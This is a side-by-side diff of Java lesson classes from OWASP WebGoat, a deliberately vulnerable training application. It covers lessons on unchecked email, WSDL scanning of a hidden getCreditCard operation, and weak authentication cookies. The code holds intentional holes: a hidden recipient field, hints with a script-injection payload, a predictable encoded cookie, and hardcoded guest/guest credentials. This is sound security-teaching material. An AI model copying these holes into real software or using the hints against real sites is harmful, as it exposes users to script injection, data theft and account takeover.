ec.addElement(new StringElement("<b>MAIL FROM:</b> " + Arrays.asList(sentMessage.getReplyTo()))); ec.addElement(new StringElement("<b>MAIL FROM:</b> " + Arrays.asList(sentMessage.getReplyTo())));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>RCPT TO:</b> " + Arrays.asList(sentMessage.getAllRecipients()))); ec.addElement(new StringElement("<b>RCPT TO:</b> " + Arrays.asList(sentMessage.getAllRecipients())));
ec.addElement(new BR()); ec.addElement(new BR());
ec ec
.addElement(new StringElement("<b>Message-ID:</b> " .addElement(new StringElement("<b>Message-ID:</b> "
+ Arrays.asList(sentMessage.getHeader("Message-ID")))); + Arrays.asList(sentMessage.getHeader("Message-ID"))));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>Date:</b> " + sentMessage.getSentDate())); ec.addElement(new StringElement("<b>Date:</b> " + sentMessage.getSentDate()));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>Subject:</b> " + sentMessage.getSubject())); ec.addElement(new StringElement("<b>Subject:</b> " + sentMessage.getSubject()));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>Message:</b> ")); ec.addElement(new StringElement("<b>Message:</b> "));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement(sentMessage.getContent().toString())); ec.addElement(new StringElement(sentMessage.getContent().toString()));
} catch (Exception e) } catch (Exception e)
{ {
// TODO Auto-generated catch block // TODO Auto-generated catch block
ec.addElement(new StringElement("Fatal error while sending message")); ec.addElement(new StringElement("Fatal error while sending message"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement(e.getMessage())); ec.addElement(new StringElement(e.getMessage()));
} }
} }
/** /**
* @param ec * @param ec
* @param to * @param to
* @param message * @param message
*/ */
private void sendSimulatedMail(ElementContainer ec, String to, String subject, String message) private void sendSimulatedMail(ElementContainer ec, String to, String subject, String message)
{ {
Format formatter; Format formatter;
// Get today's date // Get today's date
Date date = new Date(); Date date = new Date();
formatter = new SimpleDateFormat("E, dd MMM yyyy HH:mm:ss Z"); formatter = new SimpleDateFormat("E, dd MMM yyyy HH:mm:ss Z");
String today = formatter.format(date); String today = formatter.format(date);
// Tue, 09 Jan 2002 22:14:02 -0500 // Tue, 09 Jan 2002 22:14:02 -0500
ec.addElement(new Center().addElement(new B().addElement("You sent the following message to: " + to))); ec.addElement(new Center().addElement(new B().addElement("You sent the following message to: " + to)));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>Return-Path:</b> &lt;webgoat@owasp.org&gt;")); ec.addElement(new StringElement("<b>Return-Path:</b> &lt;webgoat@owasp.org&gt;"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>Delivered-To:</b> " + to)); ec.addElement(new StringElement("<b>Delivered-To:</b> " + to));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>Received:</b> (qmail 614458 invoked by uid 239); " + today)); ec.addElement(new StringElement("<b>Received:</b> (qmail 614458 invoked by uid 239); " + today));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("for &lt;" + to + "&gt;; " + today)); ec.addElement(new StringElement("for &lt;" + to + "&gt;; " + today));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>To:</b> " + to)); ec.addElement(new StringElement("<b>To:</b> " + to));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>From:</b> Blame it on the Goat &lt;webgoat@owasp.org&gt;")); ec.addElement(new StringElement("<b>From:</b> Blame it on the Goat &lt;webgoat@owasp.org&gt;"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement("<b>Subject:</b> " + subject)); ec.addElement(new StringElement("<b>Subject:</b> " + subject));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement(message)); ec.addElement(new StringElement(message));
} }
/** /**
* @param s * @param s
* @param ec * @param ec
* @return * @return
*/ */
private void createMailMessage(WebSession s, String subject, String message, ElementContainer ec) private void createMailMessage(WebSession s, String subject, String message, ElementContainer ec)
{ {
TR tr; TR tr;
Input input; Input input;
Table t = new Table().setCellSpacing(0).setCellPadding(1).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(1).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
tr = new TR(); tr = new TR();
tr.addElement(new TH().addElement("Send OWASP your Comments<BR>").setAlign("left").setColSpan(3)); tr.addElement(new TH().addElement("Send OWASP your Comments<BR>").setAlign("left").setColSpan(3));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(3)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(3));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TH().addElement(new H1("Contact Us")).setAlign("left").setWidth("55%").setVAlign("BOTTOM") tr.addElement(new TH().addElement(new H1("Contact Us")).setAlign("left").setWidth("55%").setVAlign("BOTTOM")
.setColSpan(2)); .setColSpan(2));
tr.addElement(new TH().addElement(new H3("Contact Information:")).setAlign("left").setVAlign("BOTTOM")); tr.addElement(new TH().addElement(new H3("Contact Information:")).setAlign("left").setVAlign("BOTTOM"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
"We value your comments. " + "To send OWASP your questions or comments " "We value your comments. " + "To send OWASP your questions or comments "
+ "regarding the WebGoat tool, please enter your " + "regarding the WebGoat tool, please enter your "
+ "comments below. The information you provide will be " + "comments below. The information you provide will be "
+ "handled according to our <U>Privacy Policy</U>.").setColSpan(2)); + "handled according to our <U>Privacy Policy</U>.").setColSpan(2));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
"<b>OWASP</B><BR>" + "9175 Guilford Rd <BR> Suite 300 <BR>" "<b>OWASP</B><BR>" + "9175 Guilford Rd <BR> Suite 300 <BR>"
+ "Columbia, MD. 21046").setVAlign("top")); + "Columbia, MD. 21046").setVAlign("top"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(3)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(3));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Subject:")); tr.addElement(new TD().addElement("Subject:"));
input = new Input(Input.TEXT, SUBJECT, "Comment for WebGoat"); input = new Input(Input.TEXT, SUBJECT, "Comment for WebGoat");
tr.addElement(new TD().setAlign("LEFT").addElement(input)); tr.addElement(new TD().setAlign("LEFT").addElement(input));
tr.addElement(new TD().addElement("&nbsp;")); tr.addElement(new TD().addElement("&nbsp;"));
t.addElement(tr); t.addElement(tr);
input = new Input(Input.HIDDEN, HIDDEN_TO, "webgoat.admin@owasp.org"); input = new Input(Input.HIDDEN, HIDDEN_TO, "webgoat.admin@owasp.org");
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("Questions or Comments:").setColSpan(2)); tr.addElement(new TD().addElement("Questions or Comments:").setColSpan(2));
tr.addElement(new TD().setAlign("LEFT").addElement(input)); tr.addElement(new TD().setAlign("LEFT").addElement(input));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
TextArea ta = new TextArea(MESSAGE, 5, 40); TextArea ta = new TextArea(MESSAGE, 5, 40);
ta.addElement(new StringElement(convertMetachars(message))); ta.addElement(new StringElement(convertMetachars(message)));
tr.addElement(new TD().setAlign("LEFT").addElement(ta).setColSpan(2)); tr.addElement(new TD().setAlign("LEFT").addElement(ta).setColSpan(2));
tr.addElement(new TD().setAlign("LEFT").setVAlign("MIDDLE").addElement(ECSFactory.makeButton("Send!"))); tr.addElement(new TD().setAlign("LEFT").setVAlign("MIDDLE").addElement(ECSFactory.makeButton("Send!")));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
} }
/** /**
* @param s * @param s
* @param ec * @param ec
*/ */
private void createGoogleCredentials(WebSession s, ElementContainer ec) private void createGoogleCredentials(WebSession s, ElementContainer ec)
{ {
// Allow the user to configure a real email interface using gmail // Allow the user to configure a real email interface using gmail
Table t1 = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t1 = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
t1.setStyle("border-width:3px; border-style: solid;"); t1.setStyle("border-width:3px; border-style: solid;");
if (s.isColor()) if (s.isColor())
{ {
t1.setBorder(1); t1.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement("Google Mail Configuration (Optional)").setAlign("center").setColSpan(2)); tr.addElement(new TH().addElement("Google Mail Configuration (Optional)").setAlign("center").setColSpan(2));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setAlign("left").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setAlign("left").setColSpan(2));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD() tr.addElement(new TD()
.addElement( .addElement(
"These configurations will enable WebGoat to send email on your " "These configurations will enable WebGoat to send email on your "
+ "behalf using your gmail account. Leave them as the default value " + "behalf using your gmail account. Leave them as the default value "
+ "to use WebGoat's simulated mail.").setAlign("left").setColSpan(2)); + "to use WebGoat's simulated mail.").setAlign("left").setColSpan(2));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setAlign("left").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setAlign("left").setColSpan(2));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("GMail login id:")); tr.addElement(new TD().addElement("GMail login id:"));
Input input = new Input(Input.TEXT, GMAIL_ID, YOUR_REAL_GMAIL_ID); Input input = new Input(Input.TEXT, GMAIL_ID, YOUR_REAL_GMAIL_ID);
tr.addElement(new TD().addElement(input)); tr.addElement(new TD().addElement(input));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("GMail password:")); tr.addElement(new TD().addElement("GMail password:"));
input = new Input(Input.PASSWORD, GMAIL_PASS, YOUR_REAL_GMAIL_PASSWORD); input = new Input(Input.PASSWORD, GMAIL_PASS, YOUR_REAL_GMAIL_PASSWORD);
tr.addElement(new TD().addElement(input)); tr.addElement(new TD().addElement(input));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
} }
private Message sendGoogleMail(String recipients, String subject, String message, String from, private Message sendGoogleMail(String recipients, String subject, String message, String from,
final String mailAccount, final String mailPassword) throws MessagingException final String mailAccount, final String mailPassword) throws MessagingException
{ {
boolean debug = false; boolean debug = false;
Properties props = new Properties(); Properties props = new Properties();
props.put("mail.smtp.host", SMTP_HOST_NAME); props.put("mail.smtp.host", SMTP_HOST_NAME);
props.put("mail.smtp.auth", "true"); props.put("mail.smtp.auth", "true");
props.put("mail.debug", "false"); props.put("mail.debug", "false");
props.put("mail.smtp.port", SMTP_PORT); props.put("mail.smtp.port", SMTP_PORT);
props.put("mail.smtp.socketFactory.port", SMTP_PORT); props.put("mail.smtp.socketFactory.port", SMTP_PORT);
props.put("mail.smtp.socketFactory.class", SSL_FACTORY); props.put("mail.smtp.socketFactory.class", SSL_FACTORY);
props.put("mail.smtp.socketFactory.fallback", "false"); props.put("mail.smtp.socketFactory.fallback", "false");
Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator()
{ {
protected PasswordAuthentication getPasswordAuthentication() protected PasswordAuthentication getPasswordAuthentication()
{ {
return new PasswordAuthentication(mailAccount, mailPassword); return new PasswordAuthentication(mailAccount, mailPassword);
} }
}); });
session.setDebug(debug); session.setDebug(debug);
Message msg = new MimeMessage(session); Message msg = new MimeMessage(session);
InternetAddress addressFrom = new InternetAddress(from); InternetAddress addressFrom = new InternetAddress(from);
msg.setFrom(addressFrom); msg.setFrom(addressFrom);
InternetAddress[] addressTo = new InternetAddress[1]; InternetAddress[] addressTo = new InternetAddress[1];
// for (int i = 0; i < recipients.length; i++) // for (int i = 0; i < recipients.length; i++)
// { // {
addressTo[0] = new InternetAddress(recipients); addressTo[0] = new InternetAddress(recipients);
// } // }
msg.setRecipients(Message.RecipientType.TO, addressTo); msg.setRecipients(Message.RecipientType.TO, addressTo);
// Setting the Subject and Content Type // Setting the Subject and Content Type
msg.setSubject(subject); msg.setSubject(subject);
msg.setContent(message, "text/plain"); msg.setContent(message, "text/plain");
Transport.send(msg); Transport.send(msg);
return msg; return msg;
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
* @return DOCUMENT ME! * @return DOCUMENT ME!
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.PARAMETER_TAMPERING; return Category.PARAMETER_TAMPERING;
} }
/** /**
* Gets the hints attribute of the EmailScreen object * Gets the hints attribute of the EmailScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Try sending an anonymous message to yourself."); hints.add("Try sending an anonymous message to yourself.");
hints.add("Try inserting some html or javascript code in the message field"); hints.add("Try inserting some html or javascript code in the message field");
hints.add("Look at the hidden fields in the HTML."); hints.add("Look at the hidden fields in the HTML.");
hints hints
.add("Insert &lt;A href=\"http://code.google.com/p/webgoat/\"&gt;Click here for the WebGoat Project&lt;/A&gt in the message field"); .add("Insert &lt;A href=\"http://code.google.com/p/webgoat/\"&gt;Click here for the WebGoat Project&lt;/A&gt in the message field");
hints.add("Insert &lt;script&gt;alert(\"Bad Stuff\");&lt;/script&gt; in the message field"); hints.add("Insert &lt;script&gt;alert(\"Bad Stuff\");&lt;/script&gt; in the message field");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the UncheckedEmail object * Gets the instructions attribute of the UncheckedEmail object
* *
* @return The instructions value * @return The instructions value
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = "This form is an example of a customer support page. Using the form below try to:<br>" String instructions = "This form is an example of a customer support page. Using the form below try to:<br>"
+ "1) Send a malicious script to the website admin.<br>" + "1) Send a malicious script to the website admin.<br>"
+ "2) Send a malicious script to a 'friend' from OWASP.<br>"; + "2) Send a malicious script to a 'friend' from OWASP.<br>";
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(55); private final static Integer DEFAULT_RANKING = new Integer(55);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the EmailScreen object * Gets the title attribute of the EmailScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Exploit Unchecked Email"); return ("Exploit Unchecked Email");
} }
} }

View File

@ -39,51 +39,51 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class UsefulTools extends LessonAdapter public class UsefulTools extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
makeSuccess(s); makeSuccess(s);
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new StringElement("Welcome to WebGoat !!")); ec.addElement(new StringElement("Welcome to WebGoat !!"));
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the Tools object * Gets the category attribute of the Tools object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INTRODUCTION; return Category.INTRODUCTION;
} }
private final static Integer DEFAULT_RANKING = new Integer(20); private final static Integer DEFAULT_RANKING = new Integer(20);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DirectoryScreen object * Gets the title attribute of the DirectoryScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Useful Tools"); return ("Useful Tools");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));
} }
} }

View File

@ -71,247 +71,247 @@ import org.owasp.webgoat.session.WebgoatContext;
public class WSDLScanning extends LessonAdapter public class WSDLScanning extends LessonAdapter
{ {
static boolean completed = false; static boolean completed = false;
static boolean beenRestartedYet = false; static boolean beenRestartedYet = false;
public final static String firstName = "getFirstName"; public final static String firstName = "getFirstName";
public final static String lastName = "getLastName"; public final static String lastName = "getLastName";
public final static String loginCount = "getLoginCount"; public final static String loginCount = "getLoginCount";
public final static String ccNumber = "getCreditCard"; public final static String ccNumber = "getCreditCard";
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg").setAlt("Parasoft").setBorder(0).setHspace(0) final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg").setAlt("Parasoft").setBorder(0).setHspace(0)
.setVspace(0); .setVspace(0);
private static WebgoatContext webgoatContext; private static WebgoatContext webgoatContext;
/** /**
* We maintain a static reference to WebgoatContext, since this class is also automatically * We maintain a static reference to WebgoatContext, since this class is also automatically
* instantiated by the Axis web services module, which does not call setWebgoatContext() * instantiated by the Axis web services module, which does not call setWebgoatContext()
* (non-Javadoc) * (non-Javadoc)
* *
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext) * @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/ */
@Override @Override
public void setWebgoatContext(WebgoatContext webgoatContext) public void setWebgoatContext(WebgoatContext webgoatContext)
{ {
WSDLScanning.webgoatContext = webgoatContext; WSDLScanning.webgoatContext = webgoatContext;
} }
@Override @Override
public WebgoatContext getWebgoatContext() public WebgoatContext getWebgoatContext()
{ {
return WSDLScanning.webgoatContext; return WSDLScanning.webgoatContext;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.WEB_SERVICES; return Category.WEB_SERVICES;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Try connecting to the WSDL with a browser or Web Service tool."); hints.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints.add("Sometimes the WSDL will define methods that are not available through a web API. " hints.add("Sometimes the WSDL will define methods that are not available through a web API. "
+ "Try to find operations that are in the WSDL, but not part of this API"); + "Try to find operations that are in the WSDL, but not part of this API");
hints.add("The URL for the web service is: http://localhost/webgoat/services/WSDLScanning <br>" hints.add("The URL for the web service is: http://localhost/webgoat/services/WSDLScanning <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request."); + "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request."); hints.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request.");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
public String getTitle() public String getTitle()
{ {
return "WSDL Scanning"; return "WSDL Scanning";
} }
public Object accessWGService(WebSession s, String serv, int port, String proc, String parameterName, Object parameterValue) public Object accessWGService(WebSession s, String serv, int port, String proc, String parameterName, Object parameterValue)
{ {
String targetNamespace = "WebGoat"; String targetNamespace = "WebGoat";
try try
{ {
QName serviceName = new QName(targetNamespace, serv); QName serviceName = new QName(targetNamespace, serv);
QName operationName = new QName(targetNamespace, proc); QName operationName = new QName(targetNamespace, proc);
Service service = new Service(); Service service = new Service();
Call call = (Call) service.createCall(); Call call = (Call) service.createCall();
call.setOperationName(operationName); call.setOperationName(operationName);
call.addParameter(parameterName, serviceName, ParameterMode.INOUT); call.addParameter(parameterName, serviceName, ParameterMode.INOUT);
call.setReturnType(XMLType.XSD_STRING); call.setReturnType(XMLType.XSD_STRING);
call.setUsername("guest"); call.setUsername("guest");
call.setPassword("guest"); call.setPassword("guest");
call.setTargetEndpointAddress("http://localhost:" + port + "/" + s.getRequest().getContextPath() + "/services/" + serv); call.setTargetEndpointAddress("http://localhost:" + port + "/" + s.getRequest().getContextPath() + "/services/" + serv);
Object result = call.invoke(new Object[] { parameterValue }); Object result = call.invoke(new Object[] { parameterValue });
return result; return result;
} catch (RemoteException e) } catch (RemoteException e)
{ {
e.printStackTrace(); e.printStackTrace();
} catch (ServiceException e) } catch (ServiceException e)
{ {
e.printStackTrace(); e.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
return null; return null;
} }
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Table t1 = new Table().setCellSpacing(0).setCellPadding(2); Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) if (s.isColor())
{ {
t1.setBorder(1); t1.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD("Enter your account number: ")); tr.addElement(new TD("Enter your account number: "));
tr.addElement(new TD(new Input(Input.TEXT, "id", "101"))); tr.addElement(new TD(new Input(Input.TEXT, "id", "101")));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD("Select the fields to return: ")); tr.addElement(new TD("Select the fields to return: "));
tr.addElement(new TD(new Select("field").setMultiple(true).addElement( tr.addElement(new TD(new Select("field").setMultiple(true).addElement(
new Option(firstName) new Option(firstName)
.addElement("First Name")) .addElement("First Name"))
.addElement(new Option(lastName).addElement("Last Name")) .addElement(new Option(lastName).addElement("Last Name"))
.addElement(new Option(loginCount).addElement("Login Count")))); .addElement(new Option(loginCount).addElement("Login Count"))));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
Element b = ECSFactory.makeButton("Submit"); Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("CENTER").setColSpan(2)); tr.addElement(new TD(b).setAlign("CENTER").setColSpan(2));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
try try
{ {
String[] fields = s.getParser().getParameterValues("field"); String[] fields = s.getParser().getParameterValues("field");
int id = s.getParser().getIntParameter("id"); int id = s.getParser().getIntParameter("id");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1);
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR header = new TR(); TR header = new TR();
TR results = new TR(); TR results = new TR();
int port = s.getRequest().getServerPort(); int port = s.getRequest().getServerPort();
for (int i = 0; i < fields.length; i++) for (int i = 0; i < fields.length; i++)
{ {
header.addElement(new TD().addElement(fields[i])); header.addElement(new TD().addElement(fields[i]));
results.addElement(new TD().addElement((String) accessWGService(s, "WSDLScanning", port, fields[i], results.addElement(new TD().addElement((String) accessWGService(s, "WSDLScanning", port, fields[i],
"acct_num", new Integer(id)))); "acct_num", new Integer(id))));
} }
if (fields.length == 0) if (fields.length == 0)
{ {
s.setMessage("Please select a value to return."); s.setMessage("Please select a value to return.");
} }
t.addElement(header); t.addElement(header);
t.addElement(results); t.addElement(results);
ec.addElement(new P().addElement(t)); ec.addElement(new P().addElement(t));
} catch (Exception e) } catch (Exception e)
{ {
} }
try try
{ {
A a = new A("services/WSDLScanning?WSDL", "WebGoat WSDL File"); A a = new A("services/WSDLScanning?WSDL", "WebGoat WSDL File");
ec.addElement(new P() ec.addElement(new P()
.addElement("View the web services definition language (WSDL) to see the complete API:")); .addElement("View the web services definition language (WSDL) to see the complete API:"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(a); ec.addElement(a);
// getLessonTracker( s ).setCompleted( completed ); // getLessonTracker( s ).setCompleted( completed );
if (completed && !getLessonTracker(s).getCompleted() && !beenRestartedYet) if (completed && !getLessonTracker(s).getCompleted() && !beenRestartedYet)
{ {
makeSuccess(s); makeSuccess(s);
beenRestartedYet = true; beenRestartedYet = true;
} }
else if (completed && !getLessonTracker(s).getCompleted() && beenRestartedYet) else if (completed && !getLessonTracker(s).getCompleted() && beenRestartedYet)
{ {
completed = false; completed = false;
beenRestartedYet = false; beenRestartedYet = false;
} }
// accessWGService("WSDLScanning", "getCreditCard", "acct_num", new Integer(101)); // accessWGService("WSDLScanning", "getCreditCard", "acct_num", new Integer(101));
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
public String getResults(int id, String field) public String getResults(int id, String field)
{ {
try try
{ {
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext()); Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection.prepareStatement("SELECT * FROM user_data WHERE userid = ?"); PreparedStatement ps = connection.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id); ps.setInt(1, id);
try try
{ {
ResultSet results = ps.executeQuery(); ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true)) { return results.getString(field); } if ((results != null) && (results.next() == true)) { return results.getString(field); }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
} }
} catch (Exception e) } catch (Exception e)
{ {
} }
return null; return null;
} }
public String getCreditCard(int id) public String getCreditCard(int id)
{ {
String result = getResults(id, "cc_number"); String result = getResults(id, "cc_number");
if (result != null) if (result != null)
{ {
completed = true; completed = true;
return result; return result;
} }
return null; return null;
} }
public String getFirstName(int id) public String getFirstName(int id)
{ {
String result = getResults(id, "first_name"); String result = getResults(id, "first_name");
if (result != null) { return result; } if (result != null) { return result; }
return null; return null;
} }
public String getLastName(int id) public String getLastName(int id)
{ {
String result = getResults(id, "last_name"); String result = getResults(id, "last_name");
if (result != null) { return result; } if (result != null) { return result; }
return null; return null;
} }
public String getLoginCount(int id) public String getLoginCount(int id)
{ {
String result = getResults(id, "login_count"); String result = getResults(id, "login_count");
if (result != null) { return result; } if (result != null) { return result; }
return null; return null;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO); return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);
} }
} }

View File

@ -53,310 +53,310 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class WeakAuthenticationCookie extends LessonAdapter public class WeakAuthenticationCookie extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String AUTHCOOKIE = "AuthCookie"; protected final static String AUTHCOOKIE = "AuthCookie";
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String LOGOUT = "WACLogout"; protected final static String LOGOUT = "WACLogout";
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String PASSWORD = "Password"; protected final static String PASSWORD = "Password";
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String USERNAME = "Username"; protected final static String USERNAME = "Username";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
* @exception Exception * @exception Exception
* Description of the Exception * Description of the Exception
*/ */
protected String checkCookie(WebSession s) throws Exception protected String checkCookie(WebSession s) throws Exception
{ {
String cookie = getCookie(s); String cookie = getCookie(s);
if (cookie != null) if (cookie != null)
{ {
if (cookie.equals(encode("webgoat12345"))) { return ("webgoat"); } if (cookie.equals(encode("webgoat12345"))) { return ("webgoat"); }
if (cookie.equals(encode("aspect12345"))) { return ("aspect"); } if (cookie.equals(encode("aspect12345"))) { return ("aspect"); }
if (cookie.equals(encode("alice12345"))) if (cookie.equals(encode("alice12345")))
{ {
makeSuccess(s); makeSuccess(s);
return ("alice"); return ("alice");
} }
else else
{ {
s.setMessage(WebGoatI18N.get("InvalidCookie")); s.setMessage(WebGoatI18N.get("InvalidCookie"));
s.eatCookies(); s.eatCookies();
} }
} }
return (null); return (null);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
* @exception Exception * @exception Exception
* Description of the Exception * Description of the Exception
*/ */
protected String checkParams(WebSession s) throws Exception protected String checkParams(WebSession s) throws Exception
{ {
String username = s.getParser().getStringParameter(USERNAME, ""); String username = s.getParser().getStringParameter(USERNAME, "");
String password = s.getParser().getStringParameter(PASSWORD, ""); String password = s.getParser().getStringParameter(PASSWORD, "");
